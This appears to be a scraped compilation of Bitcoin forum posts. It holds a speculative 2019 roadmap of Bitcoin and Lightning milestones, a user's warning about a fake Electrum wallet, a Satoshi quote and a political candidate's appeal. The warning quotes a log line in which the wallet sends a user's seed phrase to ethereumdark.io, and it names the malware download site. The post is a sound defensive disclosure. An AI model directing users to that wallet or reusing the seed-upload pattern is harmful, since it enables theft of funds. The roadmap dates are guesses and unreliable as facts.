I’m trying to put together a list of what’s coming out this year. Have this very simple list so far. Anyone care to add anything or suggest some better dates?

Bitcoin

  • Neutrino mainnet – June 2019
  • Testnet release of Schnorr signature – Jun 2019
  • Mainnet release of Schnorr signature – Dec 2019
  • Bitcoin node count reaches 12,500 – Dec 2019
  • Bitcoin node count reaches 15,000 – Dec 2019

Financial

  • CBOE-backed VanEck/SolidX Bitcoin ETF – February 27, 2019.
  • Bakkt trading – June 2019
  • Winklevoss ETF – June 2019
  • Fidelity starts selling Bitcoin – June 2019
  • Bitmain declares bankruptcy – June 2019

Lightning:

  • LN Channel splicing – June 2019
  • LN Sphinx-send – June 2019
  • LN eltoo and Channel Factories – June 2019
  • Atomic Multi-Path Payments (AMP) main net – June 2019
  • LN node count reaches 10,000 – Aug 2019
  • LN: Watchtowers – June 2019
  • LND channel fund backups – June 2019
  • LN on Electrum – June 2019
  • Mainnet release of Lightning Labs desktop – June 2019
  • Mainnet release of Lightning Labs mobile – June 2019
  • 2-3 Major exchanges integrate LN – June 2020
  • Coinbase integrates LN – June 2021

ASIC Miners:

Will update this section when I hear new developments

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caught http://electrumgod.org wallet red-handing trying to steal bitcoin keys!

Before installing electrum god in a virtual machine, I had disconnected its network adapter. The wallet really did not like this, and terminated with the following python error:

urllib3.exceptions.MaxRetryError: HTTPConnectionPool(host='ethereumdark.io', port=80): Max retries exceeded with url: /electrum/seeds.php?seed=wife+scar+free+royal+...+grey (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7fafcf62cb38>: Failed to establish a new connection: [Errno -2] Name or service not known',))

It immediately tried to reach the ethereumdark.io site with a view on transmitting the electrum seed to the /electrum/seeds.php?seed={seed} script.

If you want to reproduce the thefting attempt, do the following:

[1] install Virtualbox or similar

[2] create a virtual machine

[3] download the wallet from https://electrumgod.org

[4] download system-level dependencies: sudo apt-get install python3-setuptools python3-pyqt5 python3-pip

[5] download python3-level dependencies: cd electrum; sudo python3 -m pip install .

[6] disconnect the virtual machine from the network

[7] run: ./electrum

[8] generate a new seed during first run in the startup wizard

[9] watch the abnormal end while the wallet tries to upload your seed to ethereumdark.io

REMARK: This should remind you that whatever else you do, you should NEVER allow the secrets to touch the network.

That is why it is so important to export unsigned transaction to the network-disconnected signer (virtual) machine, sign the transaction there, and import the signed transaction back to the network-connected viewer (virtual) machine.

In that case, even if the wallet is subverted, corrupted, or infected, it will not be able to steal your secrets.

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“A lot of people dismiss e-currency because of all the companies that failed since the 1990’s. It was the centrally controlled nature of those systems that doomed them. I think this is the first time we’re trying a decentralized, non-trust-based system” Satoshi Nakamoto #BitcoinAt10

"A lot of people dismiss e-currency because of all the companies that failed since the 1990's. It was the centrally controlled nature of those systems that doomed them. I think this is the first time we're trying a decentralized, non-trust-based system" Satoshi Nakamoto #BitcoinAt10 submitted by /u/SocialElementGroup
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I am a Bitcoiner and running for NYC Public Advocate. I can’t take Bitcoins donations because I was put on notice for trying to receive them. Please let the world know that I am running by retweeting this https://twitter.com/theochino/status/1052239107081064448 – You can see my twitter @TheoBitcoin

I am a Bitcoiner and running for NYC Public Advocate. I can't take Bitcoins donations because I was put on notice for trying to receive them. Please let the world know that I am running by retweeting this https://twitter.com/theochino/status/1052239107081064448 - You can see my twitter @TheoBitcoin submitted by /u/theochino
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